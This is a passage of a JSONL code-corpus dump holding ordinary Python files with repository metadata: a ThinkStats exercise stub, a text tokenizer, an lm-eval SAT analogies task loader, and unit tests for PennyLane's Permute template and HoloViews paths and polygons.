null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "algorithms/sorting_tests.py", "max_forks_repo_name": "broesler/insight_interview_prep", "max_forks_repo_head_hexsha": "8b634358854ae0c2a3569412bbb50b7f8b007978", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.3962264151, "max_line_length": 79, "alphanum_fraction": 0.4459681843, "include": true, "reason": "import numpy", "num_tokens": 424, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3665897501624599, "lm_q2_score": 0.13660839529884058, "lm_q1q2_score": 0.050079237502696536}}
{"text": "\"\"\"This file contains code for use with \"Think Stats\",\nby Allen B. Downey, available from greenteapress.com\n\nCopyright 2014 Allen B. Downey\nLicense: GNU GPLv3 http://www.gnu.org/licenses/gpl.html\n\"\"\"\n\nfrom __future__ import print_function\n\nimport numpy as np\nimport sys\n\nimport nsfg\nimport thinkstats2\n\n\ndef main(script):\n    \"\"\"Tests the functions in this module.\n\n    script: string script name\n    \"\"\"\n    print('%s: All tests passed.' % script)\n\n\nif __name__ == '__main__':\n    main(*sys.argv)\n", "meta": {"hexsha": "9f941d4d78c328a2e8875f97df6ec5d91a82800c", "size": 498, "ext": "py", "lang": "Python", "max_stars_repo_path": "DSC 530 - Data Exploration and Analysis/ThinkStats2/code/chap01ex.py", "max_stars_repo_name": "Hakuna-Patata/BU_MSDS_PTW", "max_stars_repo_head_hexsha": "4759cb2db3e63ae5722bd42771e4d228dfbc733d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "DSC 530 - Data Exploration and Analysis/ThinkStats2/code/chap01ex.py", "max_issues_repo_name": "Hakuna-Patata/BU_MSDS_PTW", "max_issues_repo_head_hexsha": "4759cb2db3e63ae5722bd42771e4d228dfbc733d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "DSC 530 - Data Exploration and Analysis/ThinkStats2/code/chap01ex.py", "max_forks_repo_name": "Hakuna-Patata/BU_MSDS_PTW", "max_forks_repo_head_hexsha": "4759cb2db3e63ae5722bd42771e4d228dfbc733d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 18.4444444444, "max_line_length": 55, "alphanum_fraction": 0.7128514056, "include": true, "reason": "import numpy", "num_tokens": 125, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.36658973632215985, "lm_q2_score": 0.13660837948097748, "lm_q1q2_score": 0.05007922981332909}}
{"text": "from collections import defaultdict\nimport re\nimport numpy as np\nimport string\n\nMIN_WORD_OCCURRENCE = 3\n\nclass Tokenizer:\n    SENTENCE_SPLIT_REGEX = re.compile(r'(\\W+)')\n\n    def __init__(self):\n        self.clear()\n        self.add_speical_words()\n\n    def clear(self):\n        self._vocab_size = 0\n        self._idx2word = {}\n        self._word2idx = {}\n        self.unk_idx = 0\n\n    def add_speical_words(self):\n        for word in [\"<PAD>\", \"<UNK>\"]:\n            self.add_word(word)\n\n    def add_word(self, word):\n        self._idx2word[self._vocab_size] = word\n        self._word2idx[word] = self._vocab_size\n        self._vocab_size += 1\n        return self._vocab_size\n\n    def tokenize(self, sent):\n        toks = []\n        for word in Tokenizer.SENTENCE_SPLIT_REGEX.split(sent.strip()):\n            word = word.strip().lower()\n            if len(word) > 0:\n                if all(c in string.punctuation for c in word) and not all(c in '.' for c in word):\n                    toks += list(word)\n                else:\n                    toks.append(word)\n        return toks\n\n    def build_vocab(self, sents, min_occur=MIN_WORD_OCCURRENCE):\n        # Count\n        self.occur = defaultdict(lambda: 0)\n        for sent in sents:\n            words = self.tokenize(sent)\n            for word in words:\n                self.occur[word.lower()] += 1\n\n        wordXnum = sorted(self.occur.items(), key=lambda x:x[1], reverse=True)\n        for word, num in wordXnum:\n            if num >= min_occur:\n                self.add_word(word)\n\n    def word2idx(self, word, allow_unk=True):\n        if word in self._word2idx:\n            return self._word2idx[word]\n        elif allow_unk:\n            return self._word2idx['<UNK>']\n        else:\n            assert False, \"No Word %s\\n\" % word\n\n    def idx2word(self, idx):\n        return self._idx2word[int(idx)]     # add int for handling tensors\n\n    @property\n    def vocab_size(self):\n        return len(self._word2idx)\n\n    @property\n    def pad_id(self):\n        return self.word2idx(\"<PAD>\", allow_unk=False)\n\n    @property\n    def bos_id(self):\n        return self.word2idx(\"<BOS>\", allow_unk=False)\n\n    @property\n    def eos_id(self):\n        return self.word2idx(\"<EOS>\", allow_unk=False)\n\n    @property\n    def unk_id(self):\n        return self.word2idx(\"<UNK>\")\n\n    def encode(self, sent):\n        words = self.tokenize(sent)\n        return list(map(lambda word: self.word2idx(word), words))\n\n    def decode(self, idx):\n        return \" \".join(list(map(lambda i: self.idx2word(i), idx)))\n\n    def dump(self, path):\n        with open(path, 'w') as f:\n            for i in range(len(self._idx2word)):\n                f.write(self._idx2word[i] + \"\\n\")\n\n    def load(self, path):\n        self.clear()\n        with open(path, 'r') as f:\n            for line in f:\n                self.add_word(line.rstrip())\n\n\n", "meta": {"hexsha": "75db59fe22753cc63d5c1c1b225fa0464526e0b2", "size": 2867, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/tok.py", "max_stars_repo_name": "hyounghk/ArraMon", "max_stars_repo_head_hexsha": "c8366b01420ac1a32871b898129ccf1e9c0fe6de", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2020-11-19T22:33:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-08T05:25:30.000Z", "max_issues_repo_path": "src/tok.py", "max_issues_repo_name": "hyounghk/ArraMon", "max_issues_repo_head_hexsha": "c8366b01420ac1a32871b898129ccf1e9c0fe6de", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/tok.py", "max_forks_repo_name": "hyounghk/ArraMon", "max_forks_repo_head_hexsha": "c8366b01420ac1a32871b898129ccf1e9c0fe6de", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.3047619048, "max_line_length": 98, "alphanum_fraction": 0.5653993722, "include": true, "reason": "import numpy", "num_tokens": 721, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378234991142019, "lm_q2_score": 0.11436852014455552, "lm_q1q2_score": 0.05007322567820238}}
{"text": "import json\nimport random\nimport os\nfrom lm_eval.base import MultipleChoiceTask, rf\nfrom ..metrics import mean\nfrom tqdm import auto as tqdm_lib\nfrom . common import simple_accuracy_metric\nimport numpy as np\nfrom ..utils import sh\n\n\nclass SATAnalogies(MultipleChoiceTask):    \n    NEEDS_MANUAL_DL = True\n    \n    def __init__(self):\n        super().__init__()\n\n    def download(self):\n        # We should be using a checksum here.\n        # The canonical sha256 hash is below:\n        # 9dece377d8d57253ef8c78370ff15de0bb1d9e90a82c815a67ba1e621e921bfc\n\n        if not os.path.exists('data/sat/SAT-package-V3.txt'):\n            raise NotImplementedError('SAT Analogies dataset is not provided. Follow instructions on https://aclweb.org/aclwiki/SAT_Analogy_Questions_(State_of_the_art) to locate.')\n\n    def has_training_docs(self):\n        return False\n\n    def has_validation_docs(self):\n        return True\n\n    def has_test_docs(self):\n        return False\n\n    def training_docs(self):\n        return []\n    def test_docs(self):\n        return []\n\n    def validation_docs(self):\n        data = []\n\n        with open(\"data/sat/SAT-package-V3.txt\", \"r\") as f:\n            record = []\n            for line in f:\n                line = line.strip()\n                if len(line) == 0 and record:\n                    data.append(record)\n                    record = []\n                elif len(line) > 0 and line[0] == '#':\n                    continue\n                else:\n                    record.append(line)\n            data.append(record)\n\n        for record in data:\n            source = record[-8]\n            query = record[-7]\n            choices = record[-6:-1]\n            answer_key = record[-1]\n\n            doc = {\n                'source': source,\n                'query': query.split(' ')[:2],\n                'choices': [\"{} is to {}\".format(*c.split(' ')[:2]) for c in choices],\n                'gold': ['a','b','c','d','e'].index(answer_key.strip()),\n            }\n            yield doc\n\n    \n    def fewshot_description(self):\n        # TODO: figure out actual description\n        return \"\"\n\n    def doc_to_text(self, doc):\n        return \"{} is to {} as\".format(*doc['query'])\n", "meta": {"hexsha": "f8d9990b1db05acfa904591c03524a3bdc0f7a07", "size": 2198, "ext": "py", "lang": "Python", "max_stars_repo_path": "lm_eval/tasks/sat.py", "max_stars_repo_name": "erictang000/lm-evaluation-harness", "max_stars_repo_head_hexsha": "58589f396f9d7d16ca9d451a64935565ab148ac2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-01-05T22:41:36.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-05T22:41:36.000Z", "max_issues_repo_path": "lm_eval/tasks/sat.py", "max_issues_repo_name": "erictang000/lm-evaluation-harness", "max_issues_repo_head_hexsha": "58589f396f9d7d16ca9d451a64935565ab148ac2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lm_eval/tasks/sat.py", "max_forks_repo_name": "erictang000/lm-evaluation-harness", "max_forks_repo_head_hexsha": "58589f396f9d7d16ca9d451a64935565ab148ac2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.5454545455, "max_line_length": 181, "alphanum_fraction": 0.5550500455, "include": true, "reason": "import numpy", "num_tokens": 506, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.33807712415000585, "lm_q2_score": 0.14804719239327382, "lm_q1q2_score": 0.050051369042800636}}
{"text": "# Copyright 2018-2021 Xanadu Quantum Technologies Inc.\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n#     http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nTests for the Permute template.\n\"\"\"\nimport pytest\nimport numpy as np\nimport pennylane as qml\n\n\nclass TestDecomposition:\n    \"\"\"Tests that the template defines the correct decomposition.\"\"\"\n\n    def test_identity_permutation_qnode(self):\n        \"\"\" Test that identity permutations have no effect on QNodes. \"\"\"\n\n        dev = qml.device(\"default.qubit\", wires=4)\n\n        @qml.qnode(dev)\n        def identity_permutation():\n            qml.templates.Permute([0, 1, 2, 3], wires=dev.wires)\n            return qml.expval(qml.PauliZ(0))\n\n        identity_permutation()\n\n        # expand the Permute operation\n        tape = identity_permutation.qtape.expand()\n\n        assert len(tape.operations) == 0\n\n    def test_identity_permutation_tape(self):\n        \"\"\" Test that identity permutations have no effect on tapes. \"\"\"\n\n        with qml.tape.QuantumTape() as tape:\n            qml.templates.Permute([0, \"a\", \"c\", \"d\"], wires=[0, \"a\", \"c\", \"d\"])\n\n        # expand the Permute operation\n        tape = tape.expand()\n\n        assert len(tape.operations) == 0\n\n    @pytest.mark.parametrize(\n        \"permutation_order,expected_wires\",\n        [\n            ([1, 0], [(0, 1)]),\n            ([1, 0, 2], [(0, 1)]),\n            ([1, 0, 2, 3], [(0, 1)]),\n            ([0, 2, 1, 3], [(1, 2)]),\n            ([2, 3, 0, 1], [(0, 2), (1, 3)]),\n        ],\n    )\n    def test_two_cycle_permutations_qnode(self, permutation_order, expected_wires):\n        \"\"\" Test some two-cycles on QNodes. \"\"\"\n\n        dev = qml.device(\"default.qubit\", wires=len(permutation_order))\n\n        @qml.qnode(dev)\n        def two_cycle():\n            qml.templates.Permute(permutation_order, wires=dev.wires)\n            return qml.expval(qml.PauliZ(0))\n\n        two_cycle()\n\n        # expand the Permute operation\n        tape = two_cycle.qtape.expand()\n\n        # Ensure all operations are SWAPs, and that the wires are the same\n        assert all(op.name == \"SWAP\" for op in tape.operations)\n        assert [op.wires.labels for op in two_cycle.qtape.operations] == expected_wires\n\n    @pytest.mark.parametrize(\n        # For tape need to specify the wire labels\n        \"permutation_order,wire_order,expected_wires\",\n        [\n            ([1, 0], [0, 1], [(0, 1)]),\n            ([1, 0, 2], [0, 1, 2], [(0, 1)]),\n            ([1, 0, 2, 3], [0, 1, 2, 3], [(0, 1)]),\n            ([0, 2, 1, 3], [0, 1, 2, 3], [(1, 2)]),\n            ([2, 3, 0, 1], [0, 1, 2, 3], [(0, 2), (1, 3)]),\n            ([\"a\", \"b\", 0, 1], [0, 1, \"a\", \"b\"], [(0, \"a\"), (1, \"b\")]),\n        ],\n    )\n    def test_two_cycle_permutations_tape(self, permutation_order, wire_order, expected_wires):\n        \"\"\" Test some two-cycles on tapes. \"\"\"\n\n        with qml.tape.QuantumTape() as tape:\n            qml.templates.Permute(permutation_order, wire_order)\n\n        # expand the Permute operation\n        tape = tape.expand()\n\n        # Ensure all operations are SWAPs, and that the wires are the same\n        assert all(op.name == \"SWAP\" for op in tape.operations)\n        assert [op.wires.labels for op in tape.operations] == expected_wires\n\n    @pytest.mark.parametrize(\n        \"permutation_order,expected_wires\",\n        [\n            ([1, 2, 0], [(0, 1), (1, 2)]),\n            ([3, 0, 1, 2], [(0, 3), (1, 3), (2, 3)]),\n            ([1, 2, 3, 0], [(0, 1), (1, 2), (2, 3)]),\n        ],\n    )\n    def test_cyclic_permutations_qnode(self, permutation_order, expected_wires):\n        \"\"\" Test more general cycles on QNodes. \"\"\"\n\n        dev = qml.device(\"default.qubit\", wires=len(permutation_order))\n\n        @qml.qnode(dev)\n        def cycle():\n            qml.templates.Permute(permutation_order, wires=dev.wires)\n            return qml.expval(qml.PauliZ(0))\n\n        cycle()\n\n        # expand the Permute operation\n        tape = cycle.qtape.expand()\n\n        # Ensure all operations are SWAPs, and that the wires are the same\n        assert all(op.name == \"SWAP\" for op in tape.operations)\n        assert [op.wires.labels for op in cycle.qtape.operations] == expected_wires\n\n    @pytest.mark.parametrize(\n        \"permutation_order,wire_order,expected_wires\",\n        [\n            ([1, 2, 0], [0, 1, 2], [(0, 1), (1, 2)]),\n            ([\"d\", \"a\", \"b\", \"c\"], [\"a\", \"b\", \"c\", \"d\"], [(\"a\", \"d\"), (\"b\", \"d\"), (\"c\", \"d\")]),\n            ([\"b\", 0, \"d\", \"a\"], [\"a\", \"b\", 0, \"d\"], [(\"a\", \"b\"), (\"b\", 0), (0, \"d\")]),\n        ],\n    )\n    def test_cyclic_permutations_tape(self, permutation_order, wire_order, expected_wires):\n        \"\"\" Test more general cycles on tapes. \"\"\"\n\n        with qml.tape.QuantumTape() as tape:\n            qml.templates.Permute(permutation_order, wire_order)\n\n        # expand the Permute operation\n        tape = tape.expand()\n\n        # Ensure all operations are SWAPs, and that the wires are the same\n        assert all(op.name == \"SWAP\" for op in tape.operations)\n        assert [op.wires.labels for op in tape.operations] == expected_wires\n\n    @pytest.mark.parametrize(\n        \"permutation_order,expected_wires\",\n        [\n            ([3, 0, 2, 1], [(0, 3), (1, 3)]),\n            ([1, 3, 0, 4, 2], [(0, 1), (1, 3), (2, 3), (3, 4)]),\n            ([5, 1, 4, 2, 3, 0], [(0, 5), (2, 4), (3, 4)]),\n        ],\n    )\n    def test_arbitrary_permutations_qnode(self, permutation_order, expected_wires):\n        \"\"\" Test arbitrarily generated permutations on QNodes. \"\"\"\n\n        dev = qml.device(\"default.qubit\", wires=len(permutation_order))\n\n        @qml.qnode(dev)\n        def arbitrary_perm():\n            qml.templates.Permute(permutation_order, wires=dev.wires)\n            return qml.expval(qml.PauliZ(0))\n\n        arbitrary_perm()\n\n        # expand the Permute operation\n        tape = arbitrary_perm.qtape.expand()\n\n        # Ensure all operations are SWAPs, and that the wires are the same\n        assert all(op.name == \"SWAP\" for op in tape.operations)\n        assert [op.wires.labels for op in arbitrary_perm.qtape.operations] == expected_wires\n\n    @pytest.mark.parametrize(\n        \"permutation_order,wire_order,expected_wires\",\n        [\n            ([1, 3, 0, 2], [0, 1, 2, 3], [(0, 1), (1, 3), (2, 3)]),\n            (\n                [\"d\", \"a\", \"e\", \"b\", \"c\"],\n                [\"a\", \"b\", \"c\", \"d\", \"e\"],\n                [(\"a\", \"d\"), (\"b\", \"d\"), (\"c\", \"e\")],\n            ),\n            (\n                [\"p\", \"f\", 4, \"q\", \"z\", 0, \"c\", \"d\"],\n                [\"z\", 0, \"d\", \"c\", 4, \"f\", \"q\", \"p\"],\n                [(\"z\", \"p\"), (0, \"f\"), (\"d\", 4), (\"c\", \"q\"), (4, \"p\")],\n            ),\n        ],\n    )\n    def test_arbitrary_permutations_tape(self, permutation_order, wire_order, expected_wires):\n        \"\"\" Test arbitrarily generated permutations on tapes. \"\"\"\n\n        with qml.tape.QuantumTape() as tape:\n            qml.templates.Permute(permutation_order, wire_order)\n\n        # expand the Permute operation\n        tape = tape.expand()\n\n        # Ensure all operations are SWAPs, and that the wires are the same\n        assert all(op.name == \"SWAP\" for op in tape.operations)\n        assert [op.wires.labels for op in tape.operations] == expected_wires\n\n    @pytest.mark.parametrize(\n        \"num_wires,permutation_order,wire_subset,expected_wires\",\n        [\n            (3, [1, 0], [0, 1], [(0, 1)]),\n            (4, [3, 0, 2], [0, 2, 3], [(0, 3), (2, 3)]),\n            (6, [4, 2, 1, 3], [1, 2, 3, 4], [(1, 4), (3, 4)]),\n        ],\n    )\n    def test_subset_permutations_qnode(\n        self, num_wires, permutation_order, wire_subset, expected_wires\n    ):\n        \"\"\" Test permutation of wire subsets on QNodes. \"\"\"\n\n        dev = qml.device(\"default.qubit\", wires=num_wires)\n\n        @qml.qnode(dev)\n        def subset_perm():\n            qml.templates.Permute(permutation_order, wires=wire_subset)\n            return qml.expval(qml.PauliZ(0))\n\n        subset_perm()\n\n        # expand the Permute operation\n        tape = subset_perm.qtape.expand()\n\n        # Ensure all operations are SWAPs, and that the wires are the same\n        assert all(op.name == \"SWAP\" for op in tape.operations)\n        assert [op.wires.labels for op in subset_perm.qtape.operations] == expected_wires\n\n    @pytest.mark.parametrize(\n        \"wire_labels,permutation_order,wire_subset,expected_wires\",\n        [\n            ([0, 1, 2], [1, 0], [0, 1], [(0, 1)]),\n            ([0, 1, 2, 3], [3, 0, 2], [0, 2, 3], [(0, 3), (2, 3)]),\n            (\n                [0, 2, \"a\", \"c\", 1, 4],\n                [4, \"c\", 2, \"a\"],\n                [2, \"a\", \"c\", 4],\n                [(2, 4), (\"a\", \"c\"), (\"c\", 4)],\n            ),\n        ],\n    )\n    def test_subset_permutations_tape(\n        self, wire_labels, permutation_order, wire_subset, expected_wires\n    ):\n        \"\"\" Test permutation of wire subsets on tapes. \"\"\"\n\n        with qml.tape.QuantumTape() as tape:\n            # Make sure all the wires are actually there\n            for wire in wire_labels:\n                qml.RZ(0, wires=wire)\n            qml.templates.Permute(permutation_order, wire_subset)\n\n        # expand the Permute operation\n        tape = tape.expand()\n\n        # Make sure to start comparison after the set of RZs have been applied\n        assert all(op.name == \"SWAP\" for op in tape.operations[len(wire_labels) :])\n        assert [op.wires.labels for op in tape.operations[len(wire_labels) :]] == expected_wires\n\n    def test_custom_wire_labels(self, tol):\n        \"\"\"Test that template can deal with non-numeric, nonconsecutive wire labels.\"\"\"\n\n        permutation = [3, 0, 2, 1]\n        permutation2 = [\"o\", \"z\", \"k\", \"a\"]\n        dev = qml.device(\"default.qubit\", wires=4)\n        dev2 = qml.device(\"default.qubit\", wires=[\"z\", \"a\", \"k\", \"o\"])\n\n        @qml.qnode(dev)\n        def circuit():\n            qml.templates.Permute(permutation, wires=range(4))\n            return qml.expval(qml.Identity(0))\n\n        @qml.qnode(dev2)\n        def circuit2():\n            qml.templates.Permute(permutation2, wires=[\"z\", \"a\", \"k\", \"o\"])\n            return qml.expval(qml.Identity(\"z\"))\n\n        circuit()\n        circuit2()\n\n        assert np.allclose(dev.state, dev2.state, atol=tol, rtol=0)\n\n\nclass TestInputs:\n    \"\"\"Test inputs and pre-processing.\"\"\"\n\n    @pytest.mark.parametrize(\n        \"permutation_order,expected_error_message\",\n        [\n            ([0], \"Permutations must involve at least 2 qubits.\"),\n            ([0, 1, 2], \"Permutation must specify outcome of all wires.\"),\n            ([0, 1, 1, 3], \"Values in a permutation must all be unique\"),\n            ([4, 3, 2, 1], \"not present in wire set\"),\n        ],\n    )\n    def test_invalid_inputs_qnodes(self, permutation_order, expected_error_message):\n        \"\"\"Tests if errors are thrown for invalid permutations with QNodes.\"\"\"\n\n        dev = qml.device(\"default.qubit\", wires=4)\n\n        @qml.qnode(dev)\n        def permute_qubits():\n            qml.templates.Permute(permutation_order, wires=dev.wires)\n            return qml.expval(qml.PauliZ(0))\n\n        with pytest.raises(ValueError, match=expected_error_message):\n            permute_qubits()\n\n    @pytest.mark.parametrize(\n        \"permutation_order,expected_error_message\",\n        [\n            ([0], \"Permutations must involve at least 2 qubits.\"),\n            ([2, \"c\", \"a\", 0], \"Permutation must specify outcome of all wires.\"),\n            ([2, \"a\", \"c\", \"c\", 1], \"Values in a permutation must all be unique\"),\n            ([2, \"a\", \"d\", \"c\", 1], r\"not present in wire set\"),\n        ],\n    )\n    def test_invalid_inputs_tape(self, permutation_order, expected_error_message):\n        \"\"\"Tests if errors are thrown for invalid permutations with tapes.\"\"\"\n\n        wire_labels = [0, 2, \"a\", \"c\", 1]\n\n        with qml.tape.QuantumTape() as tape:\n            with pytest.raises(ValueError, match=expected_error_message):\n                qml.templates.Permute(permutation_order, wires=wire_labels)\n", "meta": {"hexsha": "f0b2408cdeb74dc8d641cba5caf73f7a178cf4eb", "size": 12353, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/templates/test_subroutines/test_permute.py", "max_stars_repo_name": "Miru19/pennylane", "max_stars_repo_head_hexsha": "779f9ecba2620a5ad7a2afce1757430c287d53ce", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/templates/test_subroutines/test_permute.py", "max_issues_repo_name": "Miru19/pennylane", "max_issues_repo_head_hexsha": "779f9ecba2620a5ad7a2afce1757430c287d53ce", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/templates/test_subroutines/test_permute.py", "max_forks_repo_name": "Miru19/pennylane", "max_forks_repo_head_hexsha": "779f9ecba2620a5ad7a2afce1757430c287d53ce", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-07-11T11:45:14.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-11T11:45:14.000Z", "avg_line_length": 36.6557863501, "max_line_length": 96, "alphanum_fraction": 0.5592973367, "include": true, "reason": "import numpy", "num_tokens": 3492, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10087863354259306, "lm_q1q2_score": 0.05004526762593854}}
{"text": "\"\"\"\nUnit tests of Path types.\n\"\"\"\nimport numpy as np\nfrom holoviews import Dataset, Ellipse, Box, Polygons, Path\nfrom holoviews.core.data.interface import DataError\nfrom holoviews.element.comparison import ComparisonTestCase\n\n\nclass PathTests(ComparisonTestCase):\n\n    def test_multi_path_list_constructor(self):\n        path = Path([[(0, 1), (1, 2)], [(2, 3), (3, 4)]])\n        self.assertTrue(path.interface.multi)\n        self.assertEqual(path.dimension_values(0), np.array([\n            0, 1, np.nan, 2, 3]))\n        self.assertEqual(path.dimension_values(1), np.array([\n            1, 2, np.nan, 3, 4]))\n\n    def test_multi_path_cast_path(self):\n        path = Path([[(0, 1), (1, 2)], [(2, 3), (3, 4)]])\n        path2 = Path(path)\n        self.assertTrue(path2.interface.multi)\n        self.assertEqual(path2.dimension_values(0), np.array([\n            0, 1, np.nan, 2, 3]))\n        self.assertEqual(path2.dimension_values(1), np.array([\n            1, 2, np.nan, 3, 4]))\n\n    def test_multi_path_tuple(self):\n        path = Path(([0, 1], [[1, 3], [2, 4]]))\n        self.assertTrue(path.interface.multi)\n        self.assertEqual(path.dimension_values(0), np.array([\n            0, 1, np.nan, 0, 1]))\n        self.assertEqual(path.dimension_values(1), np.array([\n            1, 2, np.nan, 3, 4]))\n\n    def test_multi_path_unpack_single_paths(self):\n        path = Path([Path([(0, 1), (1, 2)]), Path([(2, 3), (3, 4)])])\n        self.assertTrue(path.interface.multi)\n        self.assertEqual(path.dimension_values(0), np.array([\n            0, 1, np.nan, 2, 3]))\n        self.assertEqual(path.dimension_values(1), np.array([\n            1, 2, np.nan, 3, 4]))\n\n    def test_multi_path_unpack_multi_paths(self):\n        path = Path([Path([[(0, 1), (1, 2)]]),\n                     Path([[(2, 3), (3, 4)], [(4, 5), (5, 6)]])])\n        self.assertTrue(path.interface.multi)\n        self.assertEqual(path.dimension_values(0), np.array([\n            0, 1, np.nan, 2, 3, np.nan, 4, 5]))\n        self.assertEqual(path.dimension_values(1), np.array([\n            1, 2, np.nan, 3, 4, np.nan, 5, 6]))\n\n    def test_single_path_list_constructor(self):\n        path = Path([(0, 1), (1, 2), (2, 3), (3, 4)])\n        self.assertEqual(path.dimension_values(0), np.array([\n            0, 1, 2, 3]))\n        self.assertEqual(path.dimension_values(1), np.array([\n            1, 2, 3, 4]))\n\n    def test_single_path_tuple_constructor(self):\n        path = Path(([0, 1, 2, 3], [1, 2, 3, 4]))\n        self.assertEqual(path.dimension_values(0), np.array([\n            0, 1, 2, 3]))\n        self.assertEqual(path.dimension_values(1), np.array([\n            1, 2, 3, 4]))\n\n    def test_multi_path_list_split(self):\n        path = Path([[(0, 1), (1, 2)], [(2, 3), (3, 4)]])\n        subpaths = path.split()\n        self.assertEqual(len(subpaths), 2)\n        self.assertEqual(subpaths[0], Path([(0, 1), (1, 2)]))\n        self.assertEqual(subpaths[1], Path([(2, 3), (3, 4)]))\n\n    def test_single_path_split(self):\n        path = Path(([0, 1, 2, 3], [1, 2, 3, 4]))\n        self.assertEqual(path, path.split()[0])\n\n    def test_dataset_groupby_path(self):\n        ds = Dataset([(0, 0, 1), (0, 1, 2), (1, 2, 3), (1, 3, 4)], ['group', 'x', 'y'])\n        subpaths = ds.groupby('group', group_type=Path)\n        self.assertEqual(len(subpaths), 2)\n        self.assertEqual(subpaths[0], Path([(0, 1), (1, 2)]))\n        self.assertEqual(subpaths[1], Path([(2, 3), (3, 4)]))\n\n                         \nclass PolygonsTests(ComparisonTestCase):\n\n    def setUp(self):\n        xs = [1, 2, 3]\n        ys = [2, 0, 7]\n        holes = [[[(1.5, 2), (2, 3), (1.6, 1.6)], [(2.1, 4.5), (2.5, 5), (2.3, 3.5)]]]\n        self.single_poly = Polygons([{'x': xs, 'y': ys, 'holes': holes}])\n\n        xs = [1, 2, 3, np.nan, 6, 7, 3]\n        ys = [2, 0, 7, np.nan, 7, 5, 2]\n        holes = [\n            [[(1.5, 2), (2, 3), (1.6, 1.6)], [(2.1, 4.5), (2.5, 5), (2.3, 3.5)]],\n            []\n        ]\n        self.multi_poly = Polygons([{'x': xs, 'y': ys, 'holes': holes}])\n        self.multi_poly_no_hole = Polygons([{'x': xs, 'y': ys}])\n\n        self.distinct_polys = Polygons([\n            {'x': xs, 'y': ys, 'holes': holes, 'value': 0},\n            {'x': [4, 6, 6], 'y': [0, 2, 1], 'value': 1}], vdims='value')\n\n    def test_single_poly_holes_match(self):\n        self.assertTrue(self.single_poly.interface.has_holes(self.single_poly))\n        paths = self.single_poly.split(datatype='array')\n        holes = self.single_poly.interface.holes(self.single_poly)\n        self.assertEqual(len(paths), len(holes))\n        self.assertEqual(len(holes), 1)\n        self.assertEqual(len(holes[0]), 1)\n        self.assertEqual(len(holes[0][0]), 2)\n\n    def test_multi_poly_holes_match(self):\n        self.assertTrue(self.multi_poly.interface.has_holes(self.multi_poly))\n        paths = self.multi_poly.split(datatype='array')\n        holes = self.multi_poly.interface.holes(self.multi_poly)\n        self.assertEqual(len(paths), len(holes))\n        self.assertEqual(len(holes), 1)\n        self.assertEqual(len(holes[0]), 2)\n        self.assertEqual(len(holes[0][0]), 2)\n        self.assertEqual(len(holes[0][1]), 0)\n\n    def test_multi_poly_empty_holes(self):\n        poly = Polygons([])\n        self.assertFalse(poly.interface.has_holes(poly))\n        self.assertEqual(poly.interface.holes(poly), [])\n\n    def test_multi_poly_no_holes_match(self):\n        self.assertFalse(self.multi_poly_no_hole.interface.has_holes(self.multi_poly_no_hole))\n        paths = self.multi_poly_no_hole.split(datatype='array')\n        holes = self.multi_poly_no_hole.interface.holes(self.multi_poly_no_hole)\n        self.assertEqual(len(paths), len(holes))\n        self.assertEqual(len(holes), 1)\n        self.assertEqual(len(holes[0]), 2)\n        self.assertEqual(len(holes[0][0]), 0)\n        self.assertEqual(len(holes[0][1]), 0)\n\n    def test_distinct_multi_poly_holes_match(self):\n        self.assertTrue(self.distinct_polys.interface.has_holes(self.distinct_polys))\n        paths = self.distinct_polys.split(datatype='array')\n        holes = self.distinct_polys.interface.holes(self.distinct_polys)\n        